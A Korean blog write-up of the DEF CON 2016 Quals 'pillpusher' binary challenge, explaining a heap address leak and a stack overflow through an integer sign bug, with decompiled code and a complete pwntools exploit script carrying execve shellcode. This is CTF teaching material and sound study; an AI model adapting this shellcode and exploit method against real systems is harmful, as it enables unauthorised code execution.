[Defcon2016] pillpusher

흰토끼.jpg

writer Choirish

Choirish 의 다른 글 더 보기

올 해 DEF CON 예선도 끝났습니다!

올 해 예선 시작 전에, 작년 DEF CON 예선에 출제되었던 문제를 하나 선택해서 풀어보았는데!!
윽.. 이번에도 역시 호락호락하지 않았어여…ㅋㅋㅋ

오늘 풀어볼 문제는 DEF CON 2016 Quals – pillpusher입니다.


문제 풀이 Points

[ 알약 등록 → 약사 등록 → 약국 생성 → 환자 등록 → 약 처방 ] 순서대로 실행한다.
  • 알약과 약사를 먼저 등록한 후, 등록된 알약과 약사의 정보를 이용해 약국을 생성한다.
  • 환자 등록은 약을 처방하기 전에만 하면 된다.
  • 약 처방(5번 Scrip Menu)을 할 때는 약국, 약사, 환자의 정보를 등록한 후, 처방전에 약을 추가할 수 있다(4번 Add Scrip).
[ 2) Pill Menu – 1) Add a Pill ]에서 heap 주소가 leak되는 취약점이 존재한다.
  • 알약의 이름을 256글자로 등록하면, 알약 이름이 저장되는 buf 시작 주소로부터 256byte 뒤에 기록된 heap pointer의 주소(6byte)까지 한 덩이로 인식하여, 그 주소까지 총 262byte 길이의 알약 이름이 등록된다.
  • [ 2) Pill Menu – 3) List Pills ]에서 leak된 주소를 출력해준다. 요 leak된 주소로부터 멀리 떨어지지 않은 곳에 알약의 이름이 저장된 heap 영역의 주소가 있다!!
  • 즉! 알약의 이름에 shellcode를 포함시킨 후, shellcode의 주소를 알아내어 그 주소로 ret를 덮으면 된다!!
  • +) 해당 바이너리에는 모든 보호기법이 해제되어있으므로 힙 영역에 shellcode를 올리고 이를 실행하는 것이 가능하다.
[ 5) Scrip Menu – 4) Add Scrip ]에서 알약을 무한으로 처방(?)할 수 있다.
  • “how many pills to add?”라는 질문에 추가할 알약의 개수를 입력할 수 있는데, -1을 입력하면 거의 무한으로(0xffffffff개 만큼) 알약을 추가할 수 있다.
  • 추가한 알약들의 이름이 buf [rbp-0x210]에 차곡차곡 쌓여서 (strcat 취약점 존재) 0x210byte를 가득 채우면 ret를 변조할 수 있게 된다.

[ Point 1 ] 알약 → 약사 → 약국 → 환자 → 처방

흠냐 여기서부터 본격 바이너리 탐구가 시작된다…
필자는 바이너리를 직접 실행해서 메뉴를 이것저것 다 선택해보면서 기능을 체크했다.
그리고 간혹 “안돼! 그거 아니야!” 메시지가 뜨면, ida를 켜서 올바른 루틴으로 가기 위한 입력값이 무엇인지 분석하였다.

그리하여 얻은 대략적인 메뉴 선택 순서와 그 입력값은 이러하다!

# 알약 등록 (등록할 알약 개수만큼 Add a Pill !!)
2) Pill Menu : 2  
1) Add a Pill : 1  
  - pill name : [pillname]  
  - dosage : 1  
  - schedule : 1  
  - List treats : [symptom]             ※※※ point A ※※※
  - List interacts : \n  
  - List side effects : \n  

6) Leave Menu : 6  

# 약사 등록  
3) Pharmacist Menu : 3  
1) Add Pharmacist : 1
  - Name : conchi
  - Certification : 3  

5) Back up : 5  

# 약국 생성  
1) Pharmacy Menu : 1  
1) Create Pharmacy : 1  
  - Phar name : phar1
  - Add pills : pill1                   ※※※ point B ※※※
  - Add pills : \n
  - Add staff : conchi  
  - Add staff : \n  

5) Go up : 5  

# 환자 등록  
4) Patient Menu : 4  
1) Add Patient : 1  
  - name : pati  
  - enter symptoms?(Y/n) : [symptom]    ※※※ point C ※※※

5) Leave Menu : 5  

# 약 처방
5) Scrip Menu : 5  
1) Select a Pharmacy : 1  
  - select : phar1  

2) Select a Pharmacist : 2  
  - select pharma's num : 1             ※※※ point D ※※※

3) Select a Patient : 3  
  - select : pati  

4) Add Scrip : 4  
  - how many pills to add? : -1         ※※※ point E ※※※
  - Add pill : [pillname]s

 ※ point A ※

  • 환자에게 처방할 알약이라면, treat 항목을 꼭 입력해줘야 한다!
  • 환자에게 해당 알약을 처방하기 위해서는 환자의 symptom과 약이 다루는 symptom이 일치해야 하기 때문!

※ point B ※

  • 여러 개의 알약을 등록할 수 있으므로 처방해야 할 알약을 약국에 모두 등록한다.

※ point C ※

  • point A에서 말한 대로, 처방할 알약에 적어준 symptom과 일치하는 symptom을 환자 정보에 등록한다.

※ point D ※

  • 여기서는 약사의 이름을 적는 게 아니라, 리스트된 약사의 앞 번호를 입력해야 한다.
  • 약사 이름(conchi)을 적었더니 “Fail”!!! 이라고 떠서 ㅇㅅㅇ??! 당황하지 마시길… (저는 많이 당황잼)

※ point E ※

  • 앞에서 고생한 것을 여기서 모두 쏟아 부을 수 있는! 중요한 포인트!
  • 여기까지 오기 위해 이 모든 것을 입력했다…
  • 여기서 무슨 일이 일어날지는 [ Point 3 ]에서 알아보기로!

[ Point 2 ] List Pills를 이용한 Leak! Leak!

[ 2) Pill Menu – 1) Add a Pill ]에서 heap 주소가 leak되는 취약점이 존재한다!
[ 1) Add a Pill ]에서 Name(알약 이름)을 입력 받는 부분의 코드를 자세히 살펴보자.

※ 참고사항
– pillpusher는 static compile한 바이너리로, 기본 라이브러리 함수도 모두 strip 되어 있다.
– 필자는 각 라이브러리 함수의 기능을 어렴풋이 파악한 후, 자주 등장하는 라이브러리 함수의 이름을 변경해 두었다.
– 이러한 유추 능력은 해당 함수의 형태를 자주 보고 익히면서 키워나갈 수 있다! 화이팅!

add a pill – C code

void addpill_400C12()
{
  unsigned __int64 v0; // rt0@1
  __int64 *v1; // rbx@5
  unsigned int v2; // eax@7
  __int64 *v3; // rbx@7
  __int64 *v4; // rbx@7
  __int64 buf; // [rsp-130h] [rbp-130h]@1
  __int64 *v6; // [rsp-30h] [rbp-30h]@3
  unsigned int v7; // [rsp-28h] [rbp-28h]@1
  int v8; // [rsp-24h] [rbp-24h]@1
  unsigned __int64 v9; // [rsp-8h] [rbp-8h]@1

  v0 = __getcallerseflags();
  v9 = v0;
  v8 = 0;
  v7 = 0;
  memset_408E4F((__int64)&buf, 0, 0x100u);      // buf의 크기는 최대 0x100 byte
  printf_4084EF("Pill Name: ");
  read_40018A(0, (__int64)&buf, 10, 256);       // 최대 0x100 byte까지 입력받는다.  
  if ( (unsigned int)sub_400B76((__int64)&buf) )
  {
    printf_4084EF("No home slice it is already there\n");
  }
  else
  {
    v6 = (__int64 *)malloc_4087E8(0x40u);
    v7 = strlen_408EA6((__int64)&buf);          // ※※※ point A ※※※
    if ( !v6 )
    {
      printf_4084EF("Done gone and screwed up.\n");
      exit_407AA5();
    }
    memset_408E4F((__int64)v6, 0, 0x40u);
    v1 = v6;
    *v1 = malloc_4087E8(v7 + 1);                // 0x107 byte 크기의 메모리를 할당한다.
    if ( !*v6 )
    {
      printf_4084EF("Didn't work\n");
      exit_407AA5();
    }
    memset_408E4F(*v6, 0, v7 + 1);
    v2 = strlen_408EA6((__int64)&buf);
    memcpy_409347((void *)*v6, &buf, v2);       // ※※※ point B ※※※ 
    printf_4084EF("Dosage: ");
    memset_408E4F((__int64)&buf, 0, 0x100u);

( ... skip ... )

※ point A ※

  • leak을 하기 위해서는 Name을 0x100byte로 입력하여 buf를 꽉 채워야 한다.
  • Name을 0x100 byte 입력했을 경우 여기서 v7은 0x106이 된다.
  • buf 뒤에 붙어있던 heap 주소 6자리까지 한 덩이로 인식하여 길이를 쟀기 때문

※ point B ※

  • 할당된 메모리에, 측정한 buf 값의 길이(0x106)만큼 memcpy한다.
  • 이로써 heap의 주소가 name에 노출되어 우리가 사용할 수 있게 되는 것!

좀 더 자세히 뜯어보기 위해 gdb로 한 줄 한 줄 따라가며 분석한 정보를 주석으로 달아보았다.

add a pill – asm code

.text:0000000000400C9A loc_400C9A:                             
.text:0000000000400C9A                 mov     edi, 40h
.text:0000000000400C9F                 call    malloc_4087E8
.text:0000000000400CA4                 mov     [rbp-20h], rax  // ※※※ point A ※※※  
.text:0000000000400CA8 ; 27:     v7 = strlen_408EA6((__int64)&buf);
.text:0000000000400CA8                 lea     rax, [rbp-120h]
.text:0000000000400CAF                 mov     rdi, rax
.text:0000000000400CB2                 call    strlen_408EA6
.text:0000000000400CB7                 mov     [rbp-18h], eax  // ※※※ point B ※※※
.text:0000000000400CBA ; 28:     if ( !v6 )
.text:0000000000400CBA                 mov     rax, [rbp-20h]
.text:0000000000400CBE                 test    rax, rax
.text:0000000000400CC1                 jnz     short loc_400CDC
.text:0000000000400CC3 ; 30:       printf_4084EF("Done gone and screwed up.\n");
.text:0000000000400CC3                 mov     edi, offset aDoneGoneAndScr ;
.text:0000000000400CC8                 mov     eax, 0
.text:0000000000400CCD                 call    printf_4084EF
.text:0000000000400CD2 ; 31:       exit_407AA5();
.text:0000000000400CD2                 mov     edi, 0
.text:0000000000400CD7                 call    _exit_407AA5
.text:0000000000400CDC ; 33:     memset_408E4F((__int64)v6, 0, 0x40u);
.text:0000000000400CDC
.text:0000000000400CDC loc_400CDC:                           
.text:0000000000400CDC                 mov     rax, [rbp-20h]
.text:0000000000400CE0                 mov     edx, 40h
.text:0000000000400CE5                 mov     esi, 0
.text:0000000000400CEA                 mov     rdi, rax
.text:0000000000400CED                 call    memset_408E4F
.text:0000000000400CF2 ; 34:     v1 = v6;
.text:0000000000400CF2                 mov     rbx, [rbp-20h]
.text:0000000000400CF6 ; 35:     *v1 = malloc_4087E8(v7 + 1);
.text:0000000000400CF6                 mov     eax, [rbp-18h]   // 0x107만큼 malloc
.text:0000000000400CF9                 add     eax, 1
.text:0000000000400CFC                 mov     edi, eax
.text:0000000000400CFE                 call    malloc_4087E8
.text:0000000000400D03                 mov     [rbx], rax
.text:0000000000400D06 ; 36:     if ( !*v6 )
.text:0000000000400D06                 mov     rax, [rbp-20h]
.text:0000000000400D0A                 mov     rax, [rax]
.text:0000000000400D0D                 test    rax, rax
.text:0000000000400D10                 jnz     short loc_400D2B
.text:0000000000400D12 ; 38:       printf_4084EF("Didn't work\n");
.text:0000000000400D12                 mov     edi, offset aDidnTWork ; "Didn't work\n"
.text:0000000000400D17                 mov     eax, 0
.text:0000000000400D1C                 call    printf_4084EF
.text:0000000000400D21 ; 39:       exit_407AA5();
.text:0000000000400D21                 mov     edi, 0
.text:0000000000400D26                 call    _exit_407AA5
.text:0000000000400D2B ; 41:     memset_408E4F(*v6, 0, v7 + 1);
.text:0000000000400D2B
.text:0000000000400D2B loc_400D2B:                          
.text:0000000000400D2B                 mov     eax, [rbp-18h]
.text:0000000000400D2E                 add     eax, 1
.text:0000000000400D31                 mov     edx, eax
.text:0000000000400D33                 mov     rax, [rbp-20h]
.text:0000000000400D37                 mov     rax, [rax]
.text:0000000000400D3A                 mov     esi, 0
.text:0000000000400D3F                 mov     rdi, rax
.text:0000000000400D42                 call    memset_408E4F    // 0x107만큼 memset
.text:0000000000400D47 ; 42:     v2 = strlen_408EA6((__int64)&buf);
.text:0000000000400D47                 lea     rax, [rbp-120h]
.text:0000000000400D4E                 mov     rdi, rax
.text:0000000000400D51                 call    strlen_408EA6
.text:0000000000400D56 ; 43:     memcpy_409347((void *)*v6, &buf, v2);
.text:0000000000400D56                 mov     edx, eax
.text:0000000000400D58                 mov     rax, [rbp-20h]
.text:0000000000400D5C                 mov     rax, [rax]
.text:0000000000400D5F                 lea     rcx, [rbp-120h]
.text:0000000000400D66                 mov     rsi, rcx
.text:0000000000400D69                 mov     rdi, rax
.text:0000000000400D6C                 call    memcpy_409347   // ※※※ point C ※※※

※ point A ※

  • pill structure를 가리키는 포인터 주소가 [rbp-0x20]에 들어간다.
  • 여기에 들어있는 주소가 바로 leak이 되는 주소!! (0x7ffff7ffa008)
  • 알약 이름이 들어가는 buf의 위치는 [rbp-0x120]인데, [rbp-0x20]에 이러한 주소가 들어있으니까
  • 256byte 짜리 알약 이름을 입력했을 경우, 주소까지 딸려 나오는 것!!

001 pillname_and_leakaddr

※ point B ※

  • buf 길이(0x106) 값이 [rbp-18h]에 저장된다. (이건 사실 아주 중요하지는 않다)

002 rbp_18_106

※ point C ※

  • rdi(0x7ffff7ffa050) 공간에 rsi(106byte pill name) 값을 memcpy 한다.
  • 즉, 0x7ffff7ffa050에 pill name이 저장된다!
  • 즉슨, 내가 pill name에 shellcode를 넣으면! 0x7ffff7ffa050이 바로 shellcode의 주소가 된다! 이 주소를 ret에다가 쁍 박아 넣으면 쉘이 뙇! 뜬다는 것!
  • ASLR에 의해 주소가 뒤바뀔 수 있으니 우리는 leak된 주소를 기준으로 shellcode 주소를 계산해야 한다.
  • shellcode의 주소 = leak된 주소 + 0x48
  • ∵ 0x7ffff7ffa050 = 0x7ffff7ffa008 + 0x48

memcpy 실행 전

003 memcpy실행전.JPG

memcpy 실행 후

004 memcpy후.JPG

heap의 주소까지 name에 저장이 되고 나면! 3번 메뉴(List Pills)를 통해 name의 값을 출력한다.

1) Add a Pill
2) Random Pill
3) List Pills
4) Modify Pill
5) "Lose" Pills
6) Leave Menu
-> 3
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ÿ

요로코롬 알아보기 어려운 문자가 끝에 붙어 나오는데,
우리는 socket으로 recv해서 끝에 붙은 주소값을 온전히 받아 낼 수 있다.

shellcode를 어떻게 담는지, shellcode의 주소는 어딘지도 알아냈으니!

ret를 덮을 수 있는 취약점을 공략하러 기기!


 

[ Point 3 ] Add Scrip을 이용한 Buffer Overflow!

[ 5) Scrip Menu – 4) Add Scrip ]에서 Buffer Overflow 취약점이 존재한다!
[ 4) Add Scrip ]에서 알약 개수를 입력 받는 부분의 코드를 자세히 살펴보자.

add scrip

void __usercall addscrip_4076E2(__int64 pati@, __int64 a2@, __int64 phar@, __int64 macist@)
{
  unsigned __int64 v4; // rt0@1
  int v5; // eax@15
  int v6; // eax@17
  unsigned int v7; // eax@17
  __int64 _pati; // [rsp+0h] [rbp-448h]@1
  char v9; // [rsp+18h] [rbp-430h]@4
  __int64 v10; // [rsp+218h] [rbp-230h]@4
  __int64 v11; // [rsp+220h] [rbp-228h]@4
  __int64 v12; // [rsp+228h] [rbp-220h]@4
  __int64 v13; // [rsp+230h] [rbp-218h]@4
  __int64 buf; // [rsp+238h] [rbp-210h]@7   // ※※※ point A ※※※
  unsigned __int64 v15; // [rsp+440h] [rbp-8h]@1

  v4 = __getcallerseflags();
  v15 = v4;
  _pati = pati;
  if ( phar && macist && pati )
  {
    v10 = 0LL;
    v11 = 0LL;
    v13 = 0LL;
    v12 = 0LL;
    memset_408E4F((__int64)&v9, 0, 0x200u);
    printf_4084EF("How many pills to add: ");
    v13 = (signed int)sub_400230(a2, 0);   // ※※※ point B ※※※
    if ( v13 > 2 )
      v10 = 2LL;
    else
      v10 = v13;
    memset_408E4F((__int64)&buf, 0, 0x200u);
    while ( v10 )
    {
      sub_406F72((__int64 *)phar);
      printf_4084EF("Add pill: ");
      v11 = sub_407027(phar, macist, _pati, (__int64)&buf);   // ※※※ point C ※※※
      if ( v11 == 1 )   // ※※※ point D ※※※
      {
        --v10;
        ++v12;
      }
      else if ( !v11 )
      {
        break;
      }
    }
    if ( v12 > 0 )
    {
      if ( *(_QWORD *)(_pati + 24) )
        sub_408B69(*(_QWORD *)(_pati + 24));
      v5 = strlen_408EA6((__int64)&buf);
      *(_QWORD *)(_pati + 24) = malloc_4087E8(v5 + 1);
      if ( !*(_QWORD *)(_pati + 24) )
      {
        printf_4084EF("Fail\n");
        exit_407AA5();
      }
      v6 = strlen_408EA6((__int64)&buf);
      memset_408E4F(*(_QWORD *)(_pati + 24), 0, v6 + 1);
      v7 = strlen_408EA6((__int64)&buf);
      memcpy_409347(*(void **)(_pati + 24), &buf, v7);
    }
  }
  __writeeflags(v15);
}

※ point A ※

  • Add pill에 입력한 name들이 저장되는 buf의 위치가 [rbp-210h] !!!
  • buf에 0x210 byte를 가득 채우고 나면 ret 주소를 변조할 수 있는 것!

※ point B ※

  • 추가할 알약 개수를 입력 받은 후 signed int형 변수(v13)에 저장한다.
  • v13이 2보다 적을 경우 입력 받은 값만큼 알약을 추가할 수 있다.
  • 최대 2개까지만 추가할 수 있게 하려는 목적이었을 텐데… 여기에 함정이 있다!
  • v13을 v10에 옮겨 담는데, v10은 unsigned int형 변수이다.
  • 즉, v13에 -1을 입력 받은 후 v10에 -1이 전달되면, v10은 그 값을 음수가 아니라 양수 0xffffffff로 인식한다.
  • 즉슨, 원하는 만큼 알약을 추가할 수 있게 된다!!!!

※ point C/D※

  • point D에서 v11이 1이어야, v10(추가할 알약 개수) 값을 1씩 줄여가면서 계속 입력을 받는다.
  • 즉, point C에서 sub_407027의 리턴값이 1이어야 한다.
  • sub_407027 함수를 자세히 봐야겠다!

+) 분석 내용에서 필자가 미리 바꿔둔 변수 이름은 필요할 때마다 다른 부분도 분석하여 알아낸 것이다. 여러분들도 차근차근 하면 찾아낼 수 있을 것이다. 적어둔 변수 이름이 참고가 되길!


sub_407027 함수를 자세히 보자. (하이라이트이자 마지막!)

sub_407027

signed __int64 __fastcall sub_407027(__int64 phar, __int64 macist, __int64 pati, __int64 buf)
{
  unsigned __int64 v4; // rt0@1
  signed __int64 result; // rax@5
  int v6; // eax@31
  int v7; // eax@31
  int v8; // eax@31
  int v9; // eax@31
  __int64 v10; // [rsp+0h] [rbp-150h]@1
  __int64 v11; // [rsp+8h] [rbp-148h]@1
  char v12; // [rsp+20h] [rbp-130h]@6
  int v13; // [rsp+120h] [rbp-30h]@1
  __int64 v14; // [rsp+128h] [rbp-28h]@1
  __int64 v15; // [rsp+130h] [rbp-20h]@1
  int j; // [rsp+138h] [rbp-18h]@1
  int i; // [rsp+13Ch] [rbp-14h]@1
  unsigned __int64 v18; // [rsp+148h] [rbp-8h]@1

  v4 = __getcallerseflags();
  v18 = v4;
  v11 = pati;
  v10 = buf;
  i = 0;
  j = 0;
  v15 = 0LL;
  v14 = 0LL;
  v13 = 0;
  if ( phar && macist && pati && buf )
  {
    memset_408E4F((__int64)&v12, 0, 0x100u);
    if ( (unsigned int)read_40018A(0, (__int64)&v12, 10, 256) )
    {
      for ( i = 0; *(_DWORD *)(phar + 12) > i; ++i )   // pill check
      {
        if ( *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16))
          && !(unsigned int)strncmp_409234(**(_QWORD **)(8LL * i + *(_QWORD *)(phar + 16)), (__int64)&v12, 0x100u) )
        {                                       
          printf_4084EF("strncmp found it.\n");
          v14 = *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16));
          break;
        }
      }
      if ( v14 )   // v14 ≒ pill name
      {
        for ( i = 0; *(_DWORD *)(v11 + 12) > i && !v15; ++i ) // symptom_num check
        {
          if ( *(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)) ) // symptom_name_table check
          {
            for ( j = 0; *(_DWORD *)(v14 + 48) > j && !v15; ++j )
            {
              if ( !(unsigned int)strncmp_409234(
                                    *(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)),
                                    *(_QWORD *)(8LL * j + *(_QWORD *)(v14 + 56)),
                                    0x100u) )   // compare pill_treat with patient's symptom
                v15 = 1LL;   // ※※※ point A ※※※
            }
          }
        }
        j = strlen_408EA6(*(_QWORD *)v14);
        printf_4084EF("Len: %d\n");
        if ( v15 )   // ※※※ point B ※※※
        {
          if ( *(_DWORD *)(v14 + 12) <= *(_DWORD *)(macist + 8) )
          {
            strcat_408DA4(v10, *(_QWORD *)v14);
            v6 = j++;
            *(_BYTE *)(v6 + v10) = 0x20;   // ※※※ point C ※※※
            v7 = j++;
            *(_BYTE *)(v7 + v10) = 0x20;
            v8 = j++;
            *(_BYTE *)(v8 + v10) = 0x20;
            v9 = j++;
            *(_BYTE *)(v9 + v10) = 0x20;
            result = 1LL;   // ※※※ point D ※※※
          }
          else
          {
            printf_4084EF("This doc isn't qualified.\n");
            result = 0LL;
          }
        }
        else
        {
          printf_4084EF("Pill solves nothing. You pill pusher.\n");
          result = 0LL;
        }
      }
      else
      {
        printf_4084EF("Invalid\n");
        result = 0LL;
      }
    }
    else
    {
      printf_4084EF("Blank line.\n");
      result = 0LL;
    }
  }
  else
  {
    result = 0LL;
  }
  __writeeflags(v18);
  return result;
}

※ point A ※

point A에 도달하기 전의 무수한 check 구문들을 통과해야 v15 = 1이 될 수 있다.
v15가 1이어야 대망의 point B로 갈 수 있기 때문!

※ point B ※

v10(buf)에 계속해서 pill_name을 덧붙일 수 있는 strcat 취약점이 존재한다.

※ point C ※

buf의 시작 주소(maybe)로부터 pill_name의 길이(j)만큼의 offset 위치에 0x20을 4개 집어넣는다.
첫 번째 pill_name을 입력할 때 끝 4byte에 0x20이 추가된다.
그 이후의 pill_name들을 입력할 때는 buf의 가장 끝에 추가되는 게 아니므로 중요하지 않다.

※ point D※

이 부분까지 흘러 들어와야만 sub_407027 함수의 리턴값이 1이된다.

슥삭슥삭 긁어 모은 정보들을 모두 모아 익스를 짜면!?!!! 쁍!


pill_ex.py

from pwn import *

s = remote('0.0.0.0',9999)

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27byte
shellpill = "\x90"*229 + shellcode
Apill = "A"*100

# pill menu
s.recvuntil("-> ")
s.send("2\n")

# add pill(shellpill) to put shellcode and to leak
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ") 
s.send(shellpill+"\n")
s.recvuntil("Dosage: ")
s.send("1\n")
s.recvuntil("Schedule: ")
s.send("1\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

# list pill to leak
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil(shellpill)
leaked = s.recvuntil("\n")[:-1] # leak
leaked_addr = u64(leaked+"\x00\x00")
shell_addr = p64(leaked_addr+0x48)
log.info("leaked shell addr is : "+hex(u64(shell_addr)))
payload = "B"*24 + shell_addr

# add pill(payload) to change rip
s.recvuntil("-> ")
s.send("1\n") # add pill
s.recvuntil("Pill Name: ")
s.send(payload+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

# add pill(Apill) to fill stack
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ")
s.send(Apill+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

s.recvuntil("-> ")
s.send("6\n")

# pharmacist menu
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("conchi\n")
s.recvuntil(": ")
s.send("3\n")

s.recvuntil("-> ")
s.send("5\n")

# patient menu
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("pati\n")
s.recvuntil(": ")
s.send("Y\n")
s.recvuntil(": ")
s.send("symptom\n\n")

s.recvuntil("-> ")
s.send("5\n")

# pharmacy menu
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("? ")
s.send("phar\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.send(payload+"\n\n")
s.recvuntil(": ")
s.send("conchi\n\n")

s.recvuntil("-> ")
s.send("5\n")

# scrip menu
s.recvuntil("-> ")
s.send("5\n")

s.recvuntil("-> ")
s.send("1\n") # select phar
s.recvuntil(": ")
s.send("phar\n")
s.recvuntil("-> ")
s.send("2\n") # select pharmacist
s.recvuntil(": ")
s.send("1\n")
s.recvuntil("-> ")
s.send("3\n") # select patient
s.recvuntil(": ")
s.send("pati\n")

# add scrip
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil(": ")
s.send("-1\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(payload+"\n")
s.recvuntil(": ")
s.send("\n")

s.interactive()

+) 덧붙이기

  • leak을 위한 알약(shellpill)은 leak하는 데에만 썼다.
  • 버퍼를 채우기 위한 알약(Apill)은 A로 가득 메웠다.
  • 스택 공간(0x210)을 채우고 ret을 덮는 것까지 총 0x218 byte가 필요한데…
  • 사실 strcat 구문에서 “0x20” 4개가 buf에 한 번(경우에 따라 다를 수도 있는 듯!) 추가적으로 들어간다.
  • 고로, ret 주소(payload라는 알약에 포함되어 있음)를 포함하여 0x214 byte의 알약 이름을 추가시키면 된다!

익스플로잇을 실행한 결과는 요러하다.

$ python pill_ex.py 

[+] Opening connection to 0.0.0.0 on port 9999: Done
[*] leaked shell addr is : 0x7fe55f0fa050
[*] Switching to interactive mode

phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
          strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 30

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: Blank line.

$ ls
ABCtest_input
input2.py
pill_ex.py
pillpusher

그럼 이만 끝! 분석하다 보면 분석할 게 불쑥불쑥 자꾸 생겨난다… 푸는 분들 모두 화이팅!

-written by Choirish

답글 남기기

아래 항목을 채우거나 오른쪽 아이콘 중 하나를 클릭하여 로그 인 하세요:

WordPress.com 로고

WordPress.com의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Google photo

Google의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Twitter 사진

Twitter의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Facebook 사진

Facebook의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

%s에 연결하는 중

%d 블로거가 이것을 좋아합니다:
search previous next tag category expand menu location phone mail time cart zoom edit close